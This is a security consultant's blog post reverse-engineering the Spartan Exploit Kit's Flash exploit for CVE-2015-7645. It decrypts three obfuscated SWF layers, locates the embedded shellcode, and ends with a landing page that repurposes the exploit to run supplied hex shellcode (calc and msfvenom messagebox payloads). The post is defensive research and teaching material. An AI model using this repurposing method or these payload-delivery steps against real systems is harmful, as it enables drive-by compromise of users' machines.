Analysing and repurposing Spartan’s CVE-2015-7645

Analysing and repurposing Spartan’s CVE-2015-7645

For this blog post we’ve chosen to analyse a Flash exploit utilised by the Spartan Exploit Kit, namely CVE-2015-7645. We'll go through the process of analysing the obfuscated Flash file, deshelling it from protection layers and repurposing it to run our own shellcode.

By Francesco Mifsud

Security Consultant

15 Sep 2016

For a detailed explanation of exploit kits, read the white paper we released at the end of last year on Demystifying Exploit Kits.

The Fiddler file used throughout this post can be downloaded here.

The full version of this blog post can be found at vulnerable.space

Virtual Machine Setup

When dealing with malware it’s best to keep it isolated from your personal or work machine to avoid infection. The setup used for this research is the following:

  • Windows 7 64-bit.
  • Internet Explorer 11.
  • JPEXS Free Flash Decompiler.
  • Flash Player 19.0.0.207 SA Debug – The latest vulnerable version to CVE-2015-7645.
  • Flash Player 19.0.0.207 AX - The ActiveX non-debug version of Flash.

The next step is to configure Flash Debug to log errors to a file. Create a file called mm.cfg in the home directory (C:\Users\\mm.cfg) with the following contents:

ErrorReportingEnable=1
TraceOutputFileEnable=1

Errors and trace output from the debug version of Flash are now logged to %APPDATA%\Macromedia\Flash Player\Logs\flashlog.txt.

The Fiddler File

The Fiddler file contains the requests and responses between the victim and the malicious servers. On the first line, the Flash file containing the exploit is sent to the victim. This in turn makes two calls to the zaleimneviskivgorlo.website domain, one to download the crossdomain.xml file and the other downloads an xml file which will come into play later. The last request downloads the executable payload.

The Trace Bytecode-Injection Technique

The trace() function is a basic yet powerful debugging command in the ActionScript 3 (AS3) scripting language. The command writes any value you pass to it in the flashlog.txt file and is used to keep track of variable contents. It is important to note that the trace() function only works with the debug version of flash. If the version in use is non-debug, we do not get any output. 

The idea is to inject trace() functions whenever we need to get a better understanding of the inner workings of the Flash exploit. Due to obfuscation, we cannot directly modify AS3 code as JPEXS might not allow us to recompile so we rely on injecting its bytecode equivalent. For example the following trace command:

trace("Hello World");

translates to:

findpropstrict Qname(PackageNamespace(""),"trace")
pushstring "Hello World"
callpropvoid Qname(PackageNamespace(""),"trace") 1

Layer 1

Open the Fiddler file again, save the response body of the first entry and load it into JPEXS. Even though JPEXS looks like its stuck in the Windows XP era, it’s the best Flash decompiler in my opinion. 

The function we’re interested in is as follows:

function frame1() : *
{
    this.QhrihiNE = "783427182340h29751t24335906t6556p8950:81830924235/8524385924047081/90649164";
    this.AsYtBsty = "153632010324.0635847936779304x546151328329m8295457206166335l580679395909960";
    this.ZQhiDQnz = "63246z2634a2436l754e6234i34636m3426n346e63v364i346s346k634i62346v2356g86o625r652l2o625.526w562e56b747547si74375t56e365";
    this.WasGNAQK = "IiIXIiIVIiIsiAIiIHIiIhqIiIXIiIHIiIV1IiITIiIT8IiInIiIPEIiIBIiI_IiITIiIgIiIcIiI";
    this.ShkZArak = /[0-9]/g;
    this.XtrYzyHQ = this.QhrihiNE.replace(this.ShkZArak,"");
    this.ETbDRAkD = this.ZQhiDQnz.replace(this.ShkZArak,"");
    this.DHBzKFSG = this.AsYtBsty.replace(this.ShkZArak,"");
    this.CHsSsDes = this.XtrYzyHQ + this.ETbDRAkD + "/" + this.WasGNAQK + this.DHBzKFSG;
    this.RASEGANa = /IiI/g;
    this.VeBhnHFA = new URLLoader();
    this.VeBhnHFA.load(new URLRequest(this.CHsSsDes.replace(this.RASEGANa,"")));
    this.VeBhnHFA.addEventListener(Event.COMPLETE,this.TteNDbdn);
    this.button.addEventListener(MouseEvent.MOUSE_DOWN,this.onClick);
}

The obfuscation is not as bad as it looks. It removes integers from the first three strings, removes every instance of IiI from the fourth, and concatenates everything together. The result is the following URL:

http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml

It should come as no surprise that the URL coincides with the one from the Fiddler file. When the XML file download ends, the event listener is triggered and function TteNDbdn() is called:

The function is fairly straightforward as there’s minimal obfuscation. It does the following:

  • Line 3: parses the XML file
  • Line 4: stores item[3] from the XML in _loc2_
  • Line 5: Base64 decodes item[4] and stores it in _loc3_
  • Line 7: Calls this.GSnRdsQb() on _loc2_ and _loc3_ and load it’s bytes in _loc4_
  • Line 8: Adds _loc4_ as a child

The missing parts here are _loc2_, _loc3_ and this.GSnRdsQb(). To obtain the first 2, export the XML file from the Fiddler file:

Hence _loc2_ contains 128cb5c296a363078b50cd400d5611da and _loc3_ contains the redacted Base64 string shown above. The last piece of the puzzle is function GSnRdsQb():

This is a simple XOR cipher with _loc2_ as the key and _loc3_ as the cipher text. With this information we can now get hold of what the Flash file was loading. We reconstruct the function in python and save the result to a binary file. Loading the resultant file in a hex editor we notice something interesting:

Layer 2

The second Flash file is not much different from the first. It uses the same XOR function with 4d07059cb79e3545dcf7f0cf5bc33baa as the key. Using the same technique as before we get hold of the third layer of this exploit kit.

Before we move on, note that this Flash file passes a parameter called exec to the next layer, as seen below. This will come into play later.

Layer 3

The layer 3 Flash file looks nothing like the previous two and contains 23 highly-obfuscated classes. The first relevant function is class_1.Init(param1:String), an annotated and deobfuscated version is displayed below, where param1 is the exec parameter passed from the previous Flash file.

The function starts by checking if the Flash version is vulnerable to CVE-2015-7645. Lines 14 and 16 base64 decode some data (class_11.method_72), decrypt it using RC4 (class_10.rc4_decrypt), load it into _loc4_, parse it as JSON (JSON["parse"]) and save the result into var_96. This is what var_96 contains at the end:

The method §_-q§.method_48 on line 20 takes this JSON object stored in var_96 and maps it to class §_-q§. For example, vari1 will be equal to §_-q§.vari1, vari2 will be equal to §_-q§.vari2, etc.

Lines 27-35 should look familiar by now. Some bytes are decoded/decrypted, uncompressed and loaded to the current domain. This is, in fact, a small SWF file which triggers the crash. We won’t go into it as it’s not in the scope of this blog. For those of you who are interested, details of the vulnerability itself can be found on Google Project Zero’s blog.

When the SWF file loads successfully, the event listener triggers (Line 33) and function extLoaded() is called. This function essentially calls EXP_try() which then calls class_4.EXP_try(_loc4_) or §_-I§.EXP_try(_loc4_) depending on the process's architecture it is running in:

As the process is 32-bit, §_-I§.EXP_try(_loc4_) is called. The obfuscated AS3 code is particularly difficult to follow here but in essence it does the following call:

// §_-q§.vari45 => "db7f335571b4f0c67670335deefe2e3c" taken from the JSON structure
// §_-5§        => from class_1.Init() (§_-5§ = asfsgrggvxvb(param1);)
// §_-p§        => [class _-p]
// CleanUp      => some non-important function in this class
§override const§.Load(§_-q§.vari45,§_-5§,§_-p§,CleanUp);

JPEXS does a really bad job at decompiling the AS3 bytecode in §override const§.Load() so we'll be looking at the first few lines of the bytecode directly:

The redacted string on line 18 looks very suspicious and could potentially be shellcode. To confirm this we change the string to contain only C's (0xCC translates to the software interrupt int3) and remove the call to the RC4 decryption routine (line 21). Attach IDA to Flash, open the file and run it:

The string was indeed a shellcode! At this point we can start re-purposing the exploit to run our own shellcode.

Re-purposing the Exploit

By now you have probably realised that we can get rid of the first two layers and work directly with the third as these were merely there for obfuscation and anti-reversing purposes.

To avoid modifying the Flash file each time we would like the ability to pass the shellcode as a parameter. Remember the exec and param1 parameters from the second layer? The contents of the exec parameter from the caller are passed to the param1 parameter of the callee. First let's make sure that param1 makes it unmodified to the shellcode section. We first encounter this variable in class_1.Init():

§_-5§ = asfsgrggvxvb(param1);

As we want to avoid any modifications to it, remove the function acting on it:

§_-5§ = param1;

The second and last modification is to the §override const§.Load() function which contains the fixed shellcode string. Due to the poor job of JPEXS’ decompilation on this obfuscated function we have to deal with AS3 bytecode directly. Recall the following lines:

We remove the constant string and the functions operating on it. The result is the following:

Save the new Flash file as spartan.swf. We now need a landing page which serves both our Flash file and the desired shellcode:

<html>
<body>
<object type="application/x-shockwave-flash" data="spartan.swf" allowScriptAccess=always width="500" height="500">
    <param name="movie" value="spartan.swf"/>
    <param name="bgcolor" value="#ffffff"/>
    <param name="allowScriptAccess" value="always"/>
    <param name="play" value="true" />
 
    <!-- Calc: Hacking Team -->
    <param name=FlashVars value="exec=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090" />
 
    <!-- Msgbox : msfvenom -p windows/messagebox TEXT="PWNED" -f c | grep '"' | tr -d '"|\\x|\n' -->
    <!-- <param name=FlashVars value="exec=d9eb9bd97424f431d2b27731c9648b71308b760c8b761c8b46088b7e208b36384f1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3b20829d489e589c2688e4e0eec52e89fffffff894504bb7ed8e273871c2452e88effffff894508686c6c20416833322e64687573657230db885c240a89e656ff550489c250bba8a24dbc871c2452e85fffffff686f7858206861676542684d65737331db885c240a89e368445820206850574e4531c9884c240589e131d252535152ffd031c050ff5508"/> -->
</object>
</body>
</html>

The landing page contains two shellcode examples: one pops calc and was taken directly from the Hacking Team's Flash exploit, and the second pops a message box and was generated by msfvenom. Put both the landing page and spartan.swf in the same folder. Make sure that Flash Player 19.0.0.207 AX non-debug is installed and open the HTML page with IE11:

The final version of the files can be downloaded here.

Contact and Follow-Up

Francesco works in our Assurance team from our Basingstoke office. He maintains a personal blog at vulnerable.space, from which this blog is taken, and recently delivered a workshop at DEFCON 24.

See the contact page for how to get in touch.

Subscribe for more Research like this

About Francesco Mifsud

Security Consultant

CREST
CREST STAR
CHECK IT Health Check Service
CBEST
Cyber Essentials
CESG Certified Service
First - Improving Security Together
BSI ISO 9001 FS 581360
BSI ISO 27001 IS 553326
PCI - Approved Scanning Vendor
NCSC CCSC - Assured Service Provider